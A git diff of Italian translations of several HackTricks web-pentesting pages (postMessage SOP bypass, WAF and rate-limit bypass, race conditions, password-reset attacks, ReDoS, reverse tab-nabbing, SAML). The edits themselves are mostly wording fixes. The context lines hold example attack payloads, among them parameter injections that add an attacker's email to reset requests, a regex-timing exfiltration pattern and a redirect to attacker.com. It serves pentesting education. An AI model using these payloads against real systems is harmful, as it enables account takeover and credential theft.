@@ -21,7 +21,7 @@ Vediamo la soluzione che propongono.
 
 ### SOP bypass 1 (e.origin === null)
 
-Quando `//example.org` è incorporato in un **iframe sandboxed**, allora l'**origin** della pagina sarà **`null`**, cioè **`window.origin === null`**. Quindi, semplicemente incorporando l'iframe tramite `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` potremmo **forzare l'origin `null`**.
+Quando `//example.org` è incorporato in un **iframe sandboxed**, l'**origin** della pagina sarà **`null`**, cioè **`window.origin === null`**. Quindi, semplicemente incorporando l'iframe tramite `<iframe sandbox="allow-scripts" src="https://so-xss.terjanq.me/iframe.php">` potremmo **forzare l'origin `null`**.
 
 Se la pagina fosse **incorporabile**, potresti bypassare quella protezione in questo modo (i cookie potrebbero anche dover essere impostati su `SameSite=None`).
 
@@ -34,7 +34,7 @@ Quindi, aprire un **popup** da un **origin null** farà sì che **`window.origin
 
 Pertanto, per questa sfida, si potrebbe **creare** un **iframe**, **aprire un popup** alla pagina con il gestore di codice XSS vulnerabile (`/iframe.php`), poiché `window.origin === e.origin` perché entrambi sono `null`, è possibile **inviare un payload che sfrutterà l'XSS**.
 
-Quel **payload** otterrà l'**identificatore** e invierà un **XSS** **indietro alla pagina principale** (la pagina che ha aperto il popup), **che** cambierà **posizione** verso il **vulnerabile** `/iframe.php`. Poiché l'identificatore è noto, non importa che la condizione `window.origin === e.origin` non sia soddisfatta (ricorda, l'origin è il **popup** dall'iframe che ha **origin** **`null`**) perché `data.identifier === identifier`. Quindi, l'**XSS si attiverà di nuovo**, questa volta nell'origin corretto.
+Quel **payload** otterrà l'**identificatore** e invierà un **XSS** **indietro alla pagina principale** (la pagina che ha aperto il popup), **che** **cambierà posizione** verso il **vulnerabile** `/iframe.php`. Poiché l'identificatore è noto, non importa che la condizione `window.origin === e.origin` non sia soddisfatta (ricorda, l'origin è il **popup** dall'iframe che ha **origin** **`null`**) perché `data.identifier === identifier`. Quindi, l'**XSS si attiverà di nuovo**, questa volta nell'origin corretto.
 ```html
 <body>
 <script>

src/pentesting-web/postmessage-vulnerabilities/bypassing-sop-with-iframes-2.md

@@ -28,9 +28,9 @@ document.body.removeChild(iframe) //e.origin === null
 Per bypassare il **secondo controllo** riguardo al token, si invia **`token`** con valore `null` e si rende il valore di **`window.token`** **`undefined`**:
 
 - Inviare `token` nel postMessage con valore `null` è banale.
-- **`window.token`** nella chiamata della funzione **`getCookie`** che utilizza **`document.cookie`**. Nota che qualsiasi accesso a **`document.cookie`** in pagine di origine **`null`** genera un **errore**. Questo farà sì che **`window.token`** abbia valore **`undefined`**.
+- **`window.token`** nella chiamata della funzione **`getCookie`** che utilizza **`document.cookie`**. Si noti che qualsiasi accesso a **`document.cookie`** in pagine di origine **`null`** genera un **errore**. Questo farà sì che **`window.token`** abbia valore **`undefined`**.
 
-La soluzione finale di [**@terjanq**](https://twitter.com/terjanq) è il [**seguente**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
+La soluzione finale di [**@terjanq**](https://twitter.com/terjanq) è la [**seguente**](https://gist.github.com/terjanq/0bc49a8ef52b0e896fca1ceb6ca6b00e#file-calc-html):
 ```html
 <html>
 <body>

src/pentesting-web/proxy-waf-protections-bypass.md

@@ -85,7 +85,7 @@ Qualcosa di simile è accaduto nella versione 2 di Mod Security che ha permesso
 
 ### Malformed Header
 
-[Questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menziona che era possibile bypassare le regole AWS WAF applicate sugli header HTTP inviando un header "malformato" che non veniva correttamente analizzato da AWS ma dal server backend.
+[Questa ricerca](https://rafa.hashnode.dev/exploiting-http-parsers-inconsistencies) menziona che era possibile bypassare le regole AWS WAF applicate sugli header HTTP inviando un header "malformato" che non veniva correttamente analizzato da AWS ma lo era dal server backend.
 
 Ad esempio, inviando la seguente richiesta con un'iniezione SQL nell'header X-Query:
 ```http
@@ -100,7 +100,7 @@ Connection: close\r\n
 
 ## Bypass generici del WAF
 
-### Limiti delle dimensioni delle richieste
+### Limiti di dimensione della richiesta
 
 Comunemente i WAF hanno un certo limite di lunghezza delle richieste da controllare e se una richiesta POST/PUT/PATCH supera tale limite, il WAF non controllerà la richiesta.
 
@@ -133,7 +133,7 @@ Fino a 128KB.
 ```
 ### Compatibilità Unicode <a href="#unicode-compatability" id="unicode-compatability"></a>
 
-A seconda dell'implementazione della normalizzazione Unicode (maggiori informazioni [qui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), i caratteri che condividono la compatibilità Unicode potrebbero essere in grado di bypassare il WAF ed eseguire come il payload previsto. I caratteri compatibili possono essere trovati [qui](https://www.compart.com/en/unicode).
+A seconda dell'implementazione della normalizzazione Unicode (maggiori informazioni [qui](https://jlajara.gitlab.io/Bypass_WAF_Unicode)), i caratteri che condividono la compatibilità Unicode potrebbero essere in grado di bypassare il WAF ed eseguire il payload previsto. I caratteri compatibili possono essere trovati [qui](https://www.compart.com/en/unicode).
 
 #### Esempio <a href="#example" id="example"></a>
 ```bash
@@ -149,7 +149,7 @@ Ad esempio, nel post si menziona che **Akamai ha decodificato un input utente 10
 
 Pertanto, questo consente di **nascondere payload in componenti codificati** che il WAF decodificherà e interpreterà mentre la vittima no.
 
-Inoltre, questo può essere fatto non solo con payload codificati in URL ma anche con altre codifiche come unicode, esadecimale, ottale...
+Inoltre, questo può essere fatto non solo con payload codificati in URL, ma anche con altre codifiche come unicode, esadecimale, ottale...
 
 Nel post vengono suggeriti i seguenti bypass finali:
 

src/pentesting-web/race-condition.md

@@ -84,7 +84,7 @@ engine.queue(confirmationReq, gate=currentAttempt)
 engine.openGate(currentAttempt)
 ```
 - È disponibile anche in **Repeater** tramite la nuova opzione '**Invia gruppo in parallelo**' in Burp Suite.
-- Per **limit-overrun** potresti semplicemente aggiungere la **stessa richiesta 50 volte** nel gruppo.
+- Per **limit-overrun** potresti semplicemente aggiungere **la stessa richiesta 50 volte** nel gruppo.
 - Per **connection warming**, potresti **aggiungere** all'**inizio** del **gruppo** alcune **richieste** a una parte non statica del server web.
 - Per **delaying** il processo **tra** l'elaborazione **di una richiesta e un'altra** in 2 passaggi sottostanti, potresti **aggiungere richieste extra tra** entrambe le richieste.
 - Per un **multi-endpoint** RC potresti iniziare a inviare la **richiesta** che **va allo stato nascosto** e poi **50 richieste** subito dopo che **sfruttano lo stato nascosto**.
@@ -221,7 +221,7 @@ response = requests.get(url, verify=False)
 
 Nella ricerca originale si spiega che questo attacco ha un limite di 1.500 byte. Tuttavia, in [**questo post**](https://flatt.tech/research/posts/beyond-the-limit-expanding-single-packet-race-condition-with-first-sequence-sync/), è stato spiegato come sia possibile estendere il limite di 1.500 byte dell'attacco a pacchetto singolo al **limite di finestra di 65.535 B di TCP utilizzando la frammentazione a livello IP** (dividendo un singolo pacchetto in più pacchetti IP) e inviandoli in ordine diverso, consentendo di prevenire il riassemblaggio del pacchetto fino a quando tutti i frammenti non raggiungono il server. Questa tecnica ha permesso al ricercatore di inviare 10.000 richieste in circa 166 ms. 
 
-Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiede centinaia/migliaia di pacchetti da arrivare contemporaneamente, potrebbe anche avere alcune limitazioni software. Alcuni server HTTP popolari come Apache, Nginx e Go hanno un'impostazione rigorosa `SETTINGS_MAX_CONCURRENT_STREAMS` di 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 non hanno limiti.\
+Nota che, sebbene questo miglioramento renda l'attacco più affidabile in RC che richiede che centinaia/migliaia di pacchetti arrivino contemporaneamente, potrebbe anche avere alcune limitazioni software. Alcuni server HTTP popolari come Apache, Nginx e Go hanno un'impostazione rigorosa `SETTINGS_MAX_CONCURRENT_STREAMS` di 100, 128 e 250. Tuttavia, altri come NodeJS e nghttp2 non hanno limiti.\
 Questo significa fondamentalmente che Apache considererà solo 100 connessioni HTTP da una singola connessione TCP (limitando questo attacco RC).
 
 Puoi trovare alcuni esempi utilizzando questa tecnica nel repo [https://github.com/Ry0taK/first-sequence-sync/tree/main](https://github.com/Ry0taK/first-sequence-sync/tree/main).
@@ -321,7 +321,7 @@ La precisione nel temporizzare le richieste può rivelare vulnerabilità, specia
 
 **Controlla questo** [**PortSwigger Lab**](https://portswigger.net/web-security/race-conditions/lab-race-conditions-exploiting-time-sensitive-vulnerabilities) **per provare questo.**
 
-## Casi studio di sottostati nascosti
+## Casi studio sugli Sottostati Nascosti
 
 ### Paga & aggiungi un articolo
 
@@ -358,11 +358,11 @@ session['enforce_mfa'] = True
 ### OAuth2 persistenza eterna
 
 Ci sono diversi [**fornitori OAUth**](https://en.wikipedia.org/wiki/List_of_OAuth_providers). Questi servizi ti permetteranno di creare un'applicazione e autenticare gli utenti che il fornitore ha registrato. Per farlo, il **client** dovrà **permettere alla tua applicazione** di accedere ad alcuni dei loro dati all'interno del **fornitore OAUth**.\
-Quindi, fino a qui, è solo un login comune con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_L'applicazione \<InsertCoolName> vuole accedere alle tue informazioni, vuoi permetterlo?_"
+Fino a qui, è solo un comune accesso con google/linkedin/github... dove ti viene mostrata una pagina che dice: "_L'applicazione \<InsertCoolName> vuole accedere alle tue informazioni, vuoi permetterlo?_"
 
 #### Race Condition in `authorization_code`
 
-Il **problema** appare quando **lo accetti** e invia automaticamente un **`authorization_code`** all'applicazione malevola. Poi, questa **applicazione sfrutta una Race Condition nel fornitore di servizi OAUth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per **creare diversi account**. Poi, se **smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre rimarranno valide**.
+Il **problema** si presenta quando **lo accetti** e invia automaticamente un **`authorization_code`** all'applicazione malevola. Poi, questa **applicazione sfrutta una Race Condition nel fornitore di servizi OAUth per generare più di un AT/RT** (_Authentication Token/Refresh Token_) dal **`authorization_code`** per il tuo account. Fondamentalmente, sfrutterà il fatto che hai accettato l'applicazione per accedere ai tuoi dati per **creare diversi account**. Poi, se **smetti di permettere all'applicazione di accedere ai tuoi dati, una coppia di AT/RT verrà eliminata, ma le altre rimarranno valide**.
 
 #### Race Condition in `Refresh Token`
 

src/pentesting-web/rate-limit-bypass.md

@@ -10,7 +10,7 @@ Dovrebbero essere effettuati tentativi di attacchi brute force su variazioni del
 
 ### Incorporare Caratteri Vuoti nel Codice o nei Parametri
 
-Inserire byte vuoti come `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` nel codice o nei parametri può essere una strategia utile. Ad esempio, modificare un parametro in `code=1234%0a` consente di estendere i tentativi attraverso variazioni nell'input, come aggiungere caratteri di nuova riga a un indirizzo email per aggirare le limitazioni sui tentativi.
+Inserire byte vuoti come `%00`, `%0d%0a`, `%0d`, `%0a`, `%09`, `%0C`, `%20` nel codice o nei parametri può essere una strategia utile. Ad esempio, modificare un parametro in `code=1234%0a` consente di estendere i tentativi attraverso variazioni nell'input, come aggiungere caratteri di nuova riga a un indirizzo email per aggirare le limitazioni dei tentativi.
 
 ### Manipolare l'Origine IP tramite Intestazioni
 
@@ -42,7 +42,7 @@ Accedere a un account prima di ogni tentativo, o di ogni serie di tentativi, pot
 
 ### Utilizzare Reti Proxy
 
-Distribuire una rete di proxy per distribuire le richieste su più indirizzi IP può eludere efficacemente i limiti di rate basati su IP. Instradando il traffico attraverso vari proxy, ogni richiesta sembra provenire da una fonte diversa, diluendo l'efficacia del rate limit.
+Distribuire una rete di proxy per distribuire le richieste su più indirizzi IP può efficacemente eludere i limiti di rate basati su IP. Instradando il traffico attraverso vari proxy, ogni richiesta sembra provenire da una fonte diversa, diluendo l'efficacia del rate limit.
 
 ### Suddividere l'Attacco tra Diversi Account o Sessioni
 
@@ -50,6 +50,6 @@ Se il sistema target applica limiti di rate su base per-account o per-sessione,
 
 ### Continua a Provare
 
-Nota che anche se è in atto un rate limit dovresti provare a vedere se la risposta è diversa quando viene inviato l'OTP valido. In [**questo post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), il bug hunter ha scoperto che anche se un rate limit viene attivato dopo 20 tentativi non riusciti rispondendo con 401, se quello valido veniva inviato si riceveva una risposta 200.
+Nota che anche se è in atto un rate limit dovresti provare a vedere se la risposta è diversa quando viene inviato l'OTP valido. In [**questo post**](https://mokhansec.medium.com/the-2-200-ato-most-bug-hunters-overlooked-by-closing-intruder-too-soon-505f21d56732), il bug hunter ha scoperto che anche se un rate limit viene attivato dopo 20 tentativi non riusciti rispondendo con 401, se quello valido veniva inviato, si riceveva una risposta 200.
 
 {{#include ../banners/hacktricks-training.md}}

src/pentesting-web/registration-vulnerabilities.md

@@ -43,13 +43,13 @@ saml-attacks/
 
 ### Cambia Email
 
-Quando registrato prova a cambiare l'email e controlla se questo cambiamento è correttamente convalidato o se puoi cambiarlo in email arbitrarie.
+Quando registrato prova a cambiare l'email e controlla se questo cambiamento è correttamente validato o se puoi cambiarlo in email arbitrarie.
 
 ### Ulteriori Controlli
 
 - Controlla se puoi usare **email usa e getta**
 - **Password** **Lunga** (>200) porta a **DoS**
-- **Controlla i limiti di frequenza sulla creazione degli account**
+- **Controlla i limiti di velocità sulla creazione degli account**
 - Usa username@**burp_collab**.net e analizza il **callback**
 
 ## **Presa di Controllo del Ripristino della Password**

src/pentesting-web/regular-expression-denial-of-service-redos.md

@@ -1,12 +1,12 @@
-# Denial of Service da espressioni regolari - ReDoS
+# Denial of Service da espressione regolare - ReDoS
 
 {{#include ../banners/hacktricks-training.md}}
 
-# Denial of Service da espressioni regolari (ReDoS)
+# Denial of Service da espressione regolare (ReDoS)
 
-Un **Denial of Service da espressioni regolari (ReDoS)** si verifica quando qualcuno sfrutta le debolezze nel funzionamento delle espressioni regolari (un modo per cercare e abbinare modelli nel testo). A volte, quando vengono utilizzate le espressioni regolari, possono diventare molto lente, specialmente se il pezzo di testo con cui stanno lavorando diventa più grande. Questa lentezza può diventare così grave da crescere molto rapidamente anche con piccoli aumenti nella dimensione del testo. Gli attaccanti possono utilizzare questo problema per far smettere di funzionare correttamente un programma che utilizza espressioni regolari per un lungo periodo di tempo.
+Un **Denial of Service da espressione regolare (ReDoS)** si verifica quando qualcuno sfrutta le debolezze nel funzionamento delle espressioni regolari (un modo per cercare e abbinare modelli nel testo). A volte, quando vengono utilizzate le espressioni regolari, possono diventare molto lente, specialmente se il pezzo di testo con cui stanno lavorando diventa più grande. Questa lentezza può diventare così grave da crescere molto rapidamente anche con piccoli aumenti nella dimensione del testo. Gli attaccanti possono utilizzare questo problema per far smettere di funzionare correttamente un programma che utilizza espressioni regolari per un lungo periodo di tempo.
 
-## L'algoritmo naïve problematico delle regex
+## L'algoritmo Naïve problematico per le regex
 
 **Controlla i dettagli in [https://owasp.org/www-community/attacks/Regular*expression_Denial_of_Service*-\_ReDoS](https://owasp.org/www-community/attacks/Regular_expression_Denial_of_Service_-_ReDoS)**
 
@@ -26,7 +26,7 @@ Tutti questi sono vulnerabili all'input `aaaaaaaaaaaaaaaaaaaaaaaa!`.
 
 ### Esfiltrazione di stringhe tramite ReDoS
 
-In un CTF (o bug bounty) potresti **controllare la Regex con cui viene abbinata un'informazione sensibile (il flag)**. Quindi, potrebbe essere utile far **congelare la pagina (timeout o tempo di elaborazione più lungo)** se la **Regex ha corrisposto** e **non se non ha corrisposto**. In questo modo sarai in grado di **esfiltrare** la stringa **carattere per carattere**:
+In un CTF (o bug bounty) potresti **controllare la Regex con cui viene abbinata un'informazione sensibile (il flag)**. Quindi, potrebbe essere utile far **congelare la pagina (timeout o tempo di elaborazione più lungo)** se la **Regex ha corrisposto** e **non se non lo ha fatto**. In questo modo sarai in grado di **esfiltrare** la stringa **carattere per carattere**:
 
 - In [**questo post**](https://portswigger.net/daily-swig/blind-regex-injection-theoretical-exploit-offers-new-way-to-force-web-apps-to-spill-secrets) puoi trovare questa regola ReDoS: `^(?=<flag>)((.*)*)*salt$`
 - Esempio: `^(?=HTB{sOmE_fl§N§)((.*)*)*salt$`

src/pentesting-web/reset-password.md

@@ -4,9 +4,9 @@
 
 ## **Password Reset Token Leak Via Referrer**
 
-- L'intestazione HTTP referer potrebbe rivelare il token di reset della password se è incluso nell'URL. Questo può verificarsi quando un utente clicca su un link di un sito web di terze parti dopo aver richiesto un reset della password.
+- L'intestazione HTTP referer può rivelare il token di reset della password se è incluso nell'URL. Questo può verificarsi quando un utente clicca su un link di un sito web di terze parti dopo aver richiesto un reset della password.
-- **Impatto**: Potenziale assunzione del controllo dell'account tramite attacchi Cross-Site Request Forgery (CSRF).
+- **Impatto**: Potenziale assunzione dell'account tramite attacchi Cross-Site Request Forgery (CSRF).
-- **Sfruttamento**: Per verificare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare la tua password** immediatamente. Invece, **naviga verso un sito web di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste utilizzando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi.
+- **Sfruttamento**: Per controllare se un token di reset della password sta trapelando nell'intestazione referer, **richiedi un reset della password** al tuo indirizzo email e **clicca sul link di reset** fornito. **Non cambiare la tua password** immediatamente. Invece, **naviga verso un sito web di terze parti** (come Facebook o Twitter) mentre **intercetti le richieste usando Burp Suite**. Ispeziona le richieste per vedere se **l'intestazione referer contiene il token di reset della password**, poiché questo potrebbe esporre informazioni sensibili a terzi.
 - **Riferimenti**:
 - [HackerOne Report 342693](https://hackerone.com/reports/342693)
 - [HackerOne Report 272379](https://hackerone.com/reports/272379)
@@ -15,10 +15,10 @@
 ## **Password Reset Poisoning**
 
 - Gli attaccanti possono manipolare l'intestazione Host durante le richieste di reset della password per indirizzare il link di reset a un sito malevolo.
-- **Impatto**: Porta a una potenziale assunzione del controllo dell'account rivelando i token di reset agli attaccanti.
+- **Impatto**: Porta a una potenziale assunzione dell'account rivelando i token di reset agli attaccanti.
 - **Passi di mitigazione**:
 - Convalidare l'intestazione Host rispetto a un elenco di domini consentiti.
-- Utilizzare metodi sicuri, lato server, per generare URL assoluti.
+- Utilizzare metodi sicuri lato server per generare URL assoluti.
 - **Patch**: Utilizzare `$_SERVER['SERVER_NAME']` per costruire URL di reset della password invece di `$_SERVER['HTTP_HOST']`.
 - **Riferimenti**:
 - [Acunetix Article on Password Reset Poisoning](https://www.acunetix.com/blog/articles/password-reset-poisoning/)
@@ -39,7 +39,7 @@ POST /resetPassword
 [...]
 email=victim@email.com%20email=attacker@email.com
 ```
-- Aggiungi l'email dell'attaccante come secondo parametro usando |
+- Aggiungi l'email dell'attaccante come secondo parametro utilizzando |
 ```php
 POST /resetPassword
 [...]
@@ -57,7 +57,7 @@ POST /resetPassword
 [...]
 email="victim@mail.tld%0a%0dbcc:attacker@mail.tld"
 ```
-- Aggiungi l'email dell'attaccante come secondo parametro usando ,
+- Aggiungi l'email dell'attaccante come secondo parametro utilizzando ,
 ```php
 POST /resetPassword
 [...]
@@ -77,7 +77,7 @@ POST /resetPassword
 - [https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/](https://ninadmathpati.com/2019/08/17/how-i-was-able-to-earn-1000-with-just-10-minutes-of-bug-bounty/)
 - [https://twitter.com/HusseiN98D/status/1254888748216655872](https://twitter.com/HusseiN98D/status/1254888748216655872)
 
-## **Cambiamento dell'Email e della Password di qualsiasi Utente tramite Parametri API**
+## **Cambiamento di Email e Password di qualsiasi Utente tramite Parametri API**
 
 - Gli attaccanti possono modificare i parametri email e password nelle richieste API per cambiare le credenziali dell'account.
 ```php
@@ -86,17 +86,17 @@ POST /api/changepass
 ("form": {"email":"victim@email.tld","password":"12345678"})
 ```
 - **Passi di Mitigazione**:
-- Assicurarsi di una rigorosa validazione dei parametri e controlli di autenticazione.
+- Assicurati di una rigorosa validazione dei parametri e controlli di autenticazione.
-- Implementare registrazione e monitoraggio robusti per rilevare e rispondere ad attività sospette.
+- Implementa un logging e monitoraggio robusti per rilevare e rispondere ad attività sospette.
 - **Riferimento**:
 - [Full Account Takeover via API Parameter Manipulation](https://medium.com/@adeshkolte/full-account-takeover-changing-email-and-password-of-any-user-through-api-parameters-3d527ab27240)
 
 ## **Nessun Limite di Frequenza: Email Bombing**
 
-- La mancanza di limitazione della frequenza nelle richieste di reset della password può portare a un bombardamento di email, sopraffacendo l'utente con email di reset.
+- La mancanza di limitazione della frequenza nelle richieste di reset della password può portare a email bombing, sommergendo l'utente con email di reset.
 - **Passi di Mitigazione**:
-- Implementare limitazione della frequenza basata su indirizzo IP o account utente.
+- Implementa la limitazione della frequenza basata su indirizzo IP o account utente.
-- Utilizzare sfide CAPTCHA per prevenire abusi automatizzati.
+- Usa sfide CAPTCHA per prevenire abusi automatizzati.
 - **Riferimenti**:
 - [HackerOne Report 280534](https://hackerone.com/reports/280534)
 
@@ -110,28 +110,28 @@ POST /api/changepass
 - Basato sulla Data di Nascita
 - Basato sulla Criptografia
 - **Passi di Mitigazione**:
-- Utilizzare metodi crittografici forti per la generazione dei token.
+- Usa metodi crittografici forti per la generazione dei token.
-- Assicurarsi di una sufficiente casualità e lunghezza per prevenire la prevedibilità.
+- Assicurati di una sufficiente casualità e lunghezza per prevenire la prevedibilità.
-- **Strumenti**: Utilizzare Burp Sequencer per analizzare la casualità dei token.
+- **Strumenti**: Usa Burp Sequencer per analizzare la casualità dei token.
 
 ## **UUID Indovinabili**
 
-- Se gli UUID (versione 1) sono indovinabili o prevedibili, gli attaccanti possono forzarli per generare token di reset validi. Controllare:
+- Se gli UUID (versione 1) sono indovinabili o prevedibili, gli attaccanti possono forzarli per generare token di reset validi. Controlla:
 
 {{#ref}}
 uuid-insecurities.md
 {{#endref}}
 
 - **Passi di Mitigazione**:
-- Utilizzare la versione 4 di GUID per la casualità o implementare misure di sicurezza aggiuntive per altre versioni.
+- Usa la versione 4 di GUID per la casualità o implementa misure di sicurezza aggiuntive per altre versioni.
-- **Strumenti**: Utilizzare [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID.
+- **Strumenti**: Usa [guidtool](https://github.com/intruder-io/guidtool) per analizzare e generare GUID.
 
-## **Manipolazione della Risposta: Sostituire una Brutta Risposta con una Buona**
+## **Manipolazione della Risposta: Sostituire una Risposta Negativa con una Positiva**
 
 - Manipolare le risposte HTTP per bypassare messaggi di errore o restrizioni.
 - **Passi di Mitigazione**:
-- Implementare controlli lato server per garantire l'integrità della risposta.
+- Implementa controlli lato server per garantire l'integrità della risposta.
-- Utilizzare canali di comunicazione sicuri come HTTPS per prevenire attacchi man-in-the-middle.
+- Usa canali di comunicazione sicuri come HTTPS per prevenire attacchi man-in-the-middle.
 - **Riferimento**:
 - [Critical Bug in Live Bug Bounty Event](https://medium.com/@innocenthacker/how-i-found-the-most-critical-bug-in-live-bug-bounty-event-7a88b3aa97b3)
 
@@ -139,32 +139,32 @@ uuid-insecurities.md
 
 - Testare se i token scaduti possono ancora essere utilizzati per il reset della password.
 - **Passi di Mitigazione**:
-- Implementare politiche rigorose di scadenza dei token e convalidare la scadenza del token lato server.
+- Implementa politiche rigorose di scadenza dei token e valida la scadenza del token lato server.
 
 ## **Brute Force del Token di Reset della Password**
 
 - Tentare di forzare il token di reset utilizzando strumenti come Burpsuite e IP-Rotator per bypassare i limiti di frequenza basati su IP.
 - **Passi di Mitigazione**:
-- Implementare meccanismi robusti di limitazione della frequenza e di blocco dell'account.
+- Implementa meccanismi robusti di limitazione della frequenza e di blocco dell'account.
-- Monitorare attività sospette indicative di attacchi di forza bruta.
+- Monitora attività sospette indicative di attacchi di forza bruta.
 
 ## **Prova a Usare il Tuo Token**
 
 - Testare se il token di reset di un attaccante può essere utilizzato in combinazione con l'email della vittima.
 - **Passi di Mitigazione**:
-- Assicurarsi che i token siano legati alla sessione utente o ad altri attributi specifici dell'utente.
+- Assicurati che i token siano legati alla sessione utente o ad altri attributi specifici dell'utente.
 
 ## **Invalidazione della Sessione al Logout/Reset della Password**
 
-- Assicurarsi che le sessioni siano invalidate quando un utente esce o resetta la propria password.
+- Assicurati che le sessioni siano invalidate quando un utente esce o resetta la propria password.
 - **Passi di Mitigazione**:
-- Implementare una corretta gestione delle sessioni, assicurandosi che tutte le sessioni siano invalidate al logout o al reset della password.
+- Implementa una corretta gestione delle sessioni, assicurandoti che tutte le sessioni siano invalidate al logout o al reset della password.
 
 ## **Invalidazione della Sessione al Logout/Reset della Password**
 
 - I token di reset dovrebbero avere un tempo di scadenza dopo il quale diventano non validi.
 - **Passi di Mitigazione**:
-- Impostare un tempo di scadenza ragionevole per i token di reset e farlo rispettare rigorosamente lato server.
+- Imposta un tempo di scadenza ragionevole per i token di reset e applicalo rigorosamente lato server.
 
 ## Riferimenti
 

src/pentesting-web/reverse-tab-nabbing.md

@@ -7,7 +7,7 @@ Se la pagina non ha **`rel="opener"` ma contiene `target="_blank"` e non ha `rel
 
 Un modo comune per abusare di questo comportamento sarebbe **cambiare la posizione del web originale** tramite `window.opener.location = https://attacker.com/victim.html` a un web controllato dall'attaccante che **sembra quello originale**, in modo da poter **imitare** il **modulo** di **accesso** del sito originale e chiedere le credenziali all'utente.
 
-Tuttavia, nota che poiché l'**attaccante ora può controllare l'oggetto finestra del sito originale**, può abusarne in altri modi per eseguire **attacchi più furtivi** (forse modificando eventi javascript per esfiltrare informazioni a un server controllato da lui?)
+Tuttavia, nota che poiché l'**attaccante ora può controllare l'oggetto window del sito originale**, può abusarne in altri modi per eseguire **attacchi più furtivi** (forse modificando eventi javascript per esfiltrare informazioni a un server controllato da lui?)
 
 # Panoramica
 
@@ -58,7 +58,7 @@ window.opener.location = "http://127.0.0.1:8000/malicious_redir.html";
 ```
 ## Proprietà accessibili <a href="#accessible-properties" id="accessible-properties"></a>
 
-Nello scenario in cui si verifica un accesso **cross-origin** (accesso tra domini diversi), le proprietà dell'istanza della classe JavaScript **window**, a cui si fa riferimento tramite l'oggetto JavaScript **opener**, che possono essere accessibili da un sito malevolo sono limitate a quanto segue:
+Nello scenario in cui si verifica un accesso **cross-origin** (accesso tra domini diversi), le proprietà dell'istanza della classe JavaScript **window**, a cui si fa riferimento tramite l'oggetto JavaScript **opener**, che possono essere accessibili da un sito malevolo sono limitate alle seguenti:
 
 - **`opener.closed`**: Questa proprietà viene utilizzata per determinare se una finestra è stata chiusa, restituendo un valore booleano.
 - **`opener.frames`**: Questa proprietà fornisce accesso a tutti gli elementi iframe all'interno della finestra corrente.
@@ -68,7 +68,7 @@ Nello scenario in cui si verifica un accesso **cross-origin** (accesso tra domin
 - **`opener.self`**: L'accesso alla finestra corrente stessa è fornito da questa proprietà.
 - **`opener.top`**: Questa proprietà restituisce la finestra del browser più alta.
 
-Tuttavia, nei casi in cui i domini siano identici, il sito malevolo ottiene accesso a tutte le proprietà esposte dal [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window) riferimento dell'oggetto JavaScript.
+Tuttavia, nei casi in cui i domini siano identici, il sito malevolo ottiene accesso a tutte le proprietà esposte dal riferimento all'oggetto JavaScript [**window**](https://developer.mozilla.org/en-US/docs/Web/API/Window).
 
 # Prevenzione
 

src/pentesting-web/saml-attacks/README.md

@@ -51,16 +51,16 @@ Per ulteriori informazioni sulla vulnerabilità e su come abusarne:
 - [https://mattermost.com/blog/securing-xml-implementations-across-the-web/](https://mattermost.com/blog/securing-xml-implementations-across-the-web/)
 - [https://joonas.fi/2021/08/saml-is-insecure-by-design/](https://joonas.fi/2021/08/saml-is-insecure-by-design/)
 
-## Attacchi di XML Signature Wrapping
+## Attacchi di Wrapping della Firma XML
 
-Negli **attacchi di XML Signature Wrapping (XSW)**, gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: **validazione della firma** e **invocazione della funzione**. Questi attacchi comportano la modifica della struttura del documento XML. In particolare, l'attaccante **inietta elementi falsificati** che non compromettono la validità della firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla **logica dell'applicazione** e quelli controllati dal **modulo di verifica della firma**. Di conseguenza, mentre la firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli **elementi fraudolenti**. Di conseguenza, l'attaccante bypassa efficacemente la **protezione dell'integrità** e l'**autenticazione dell'origine** della firma XML, consentendo l'**iniezione di contenuti arbitrari** senza rilevamento.
+Negli **attacchi di Wrapping della Firma XML (XSW)**, gli avversari sfruttano una vulnerabilità che si verifica quando i documenti XML vengono elaborati attraverso due fasi distinte: **validazione della firma** e **invocazione della funzione**. Questi attacchi comportano la modifica della struttura del documento XML. In particolare, l'attaccante **inietta elementi falsificati** che non compromettono la validità della Firma XML. Questa manipolazione mira a creare una discrepanza tra gli elementi analizzati dalla **logica dell'applicazione** e quelli controllati dal **modulo di verifica della firma**. Di conseguenza, mentre la Firma XML rimane tecnicamente valida e supera la verifica, la logica dell'applicazione elabora gli **elementi fraudolenti**. Di conseguenza, l'attaccante bypassa efficacemente la **protezione dell'integrità** e l'**autenticazione dell'origine** della Firma XML, consentendo l'**iniezione di contenuti arbitrari** senza rilevamento.
 
-I seguenti attacchi si basano su [**questo post del blog**](https://epi052.gitlab.io/notes-to-self/blog/2019-03-13-how-to-test-saml-a-methodology-part-two/) **e** [**questo documento**](https://www.usenix.org/system/files/conference/usenixsecurity12/sec12-final91.pdf). Quindi controlla quelli per ulteriori dettagli.
